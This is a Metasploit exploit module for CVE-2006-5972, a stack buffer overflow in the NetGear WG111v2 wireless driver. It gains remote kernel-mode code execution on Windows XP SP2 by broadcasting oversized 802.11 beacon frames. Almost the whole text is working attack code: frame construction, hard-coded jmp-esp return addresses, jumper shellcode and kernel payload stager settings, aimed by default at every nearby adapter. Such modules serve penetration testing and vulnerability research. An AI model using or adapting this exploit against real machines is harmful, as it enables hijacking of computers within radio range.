Netgear WG111v2 Wireless Driver – Long Beacon Overflow (Metasploit)
## # $Id: netgear_wg111_beacon.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = LowRanking include Msf::Exploit::Lorcon2 include Msf::Exploit::KernelMode def initialize(info = {}) super(update_info(info, 'Name' => 'NetGear WG111v2 Wireless Driver Long Beacon Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the NetGear WG111v2 wireless device driver. This stack buffer overflow allows remote code execution in kernel mode. The stack buffer overflow is triggered when a 802.11 Beacon frame is received that contains more than 1100 bytes worth of information elements. This exploit was tested with version 5.1213.6.316 of the WG111v2.SYS driver and a NetGear WG111v2 USB adapter. Since this vulnerability is exploited via beacon frames, all cards within range of the attack will be affected. The tested adapter used a MAC address in the range of 00:18:4d:02:XX:XX. Vulnerable clients will need to have their card in a non-associated state for this exploit to work. The easiest way to reproduce this bug is by starting the exploit and then unplugging and reinserting the USB card. The exploit can take up to a minute to execute the payload, depending on system activity. NetGear was NOT contacted about this flaw. A search of the SecurityFocus database indicates that NetGear has not provided an official patch or solution for any of the thirty flaws listed at the time of writing. This list includes BIDs: 1010, 3876, 4024, 4111, 5036, 5667, 5830, 5943, 5940, 6807, 7267, 7270, 7371, 7367, 9194, 10404, 10459, 10585, 10935, 11580, 11634, 12447, 15816, 16837, 16835, 19468, and 19973. This module depends on the Lorcon2 library and only works on the Linux platform with a supported wireless card. Please see the Ruby Lorcon2 documentation (external/ruby-lorcon/README) for more information. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9669 $', 'References' => [ ['CVE', '2006-5972'], ['OSVDB', '30473'], ['URL', 'http://projects.info-pull.com/mokb/MOKB-16-11-2006.html'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { # Its a beautiful day in the neighborhood... 'Space' => 1000, }, 'Platform' => 'win', 'Targets' => [ # Windows XP SP2 with the latest updates # 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519) [ 'Windows XP SP2 (5.1.2600.2122), WG111v2.SYS 5.1213.6.316', { 'Ret' => 0x80502d7f, # jmp esp 'Platform' => 'win', 'Payload' => { 'ExtendedOptions' => { 'Stager' => 'sud_syscall_hook', 'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500 'Recovery' => 'idlethread_restart', 'KiIdleLoopAddress' => 0x804dbb27, } } } ], # Windows XP SP2 install media, no patches # 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158) [ 'Windows XP SP2 (5.1.2600.2180), WG111v2.SYS 5.1213.6.316', { 'Ret' => 0x804ed5cb, # jmp esp 'Platform' => 'win', 'Payload' => { 'ExtendedOptions' => { 'Stager' => 'sud_syscall_hook', 'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500 'Recovery' => 'idlethread_restart', 'KiIdleLoopAddress' => 0x804dc0c7, } } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 16 2006')) register_options( [ OptString.new('ADDR_DST', [ true, "The MAC address to send this to",'FF:FF:FF:FF:FF:FF']), OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 60]) ], self.class) end def exploit open_wifi stime = Time.now.to_i rtime = datastore['RUNTIME'].to_i count = 0 print_status("Sending exploit beacons for #{datastore['RUNTIME']} seconds...") while (stime + rtime > Time.now.to_i) wifi.write(create_beacon) select(nil, nil, nil, 0.10) if (count % 100 == 0) count += 1 # Exit if we get a session break if session_created? end print_status("Completed sending beacons.") end # Convert arbitrary data into a series of information elements def ie_padding(data) ret = 0 idx = 0 len = 0 while(idx < data.length) len = data[idx+1] if (! len) data << "\x00" len = 0 end idx += len + 2 end data << yield(idx - data.length) end def create_beacon ssid = rand_text_alphanumeric(16) bssid = ("\x00" * 2) + rand_text(4) src = ("\x00" * 2) + rand_text(4) seq = [rand(255)].pack('n') stamp = rand_text(8) frame = "\x80" + # type/subtype "\x00" + # flags "\x00\x00" + # duration eton(datastore['ADDR_DST']) + # dst src + # src bssid + # bssid seq + # seq stamp + # timestamp value "\x64\x00" + # beacon interval rand_text(2) + # capability flags # ssid tag "\x00" + ssid.length.chr + ssid + # supported rates "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" + # current channel "\x03" + "\x01" + channel.chr # Bounce through EDI to the uncorrupted payload jumper = "\x6a\x39" + # push byte +0x39 "\x58" + # pop eax "\x01\xc7" + # add edi, eax "\xff\xe7" # jmp edi # Overwrite enough to pop the return buf = rand_text(1160) # Kernel-mode stager fun goes here buf[0, payload.encoded.length] = payload.encoded # Return address is a jmp ESP buf[1101, 4] = [ target.ret ].pack('V') # Jump back to EDI + 0x39 buf[1113, jumper.length] = jumper # Pad it out to be a valid set of IEs frame << ie_padding(buf) {|c| rand_text(c) } return frame end end |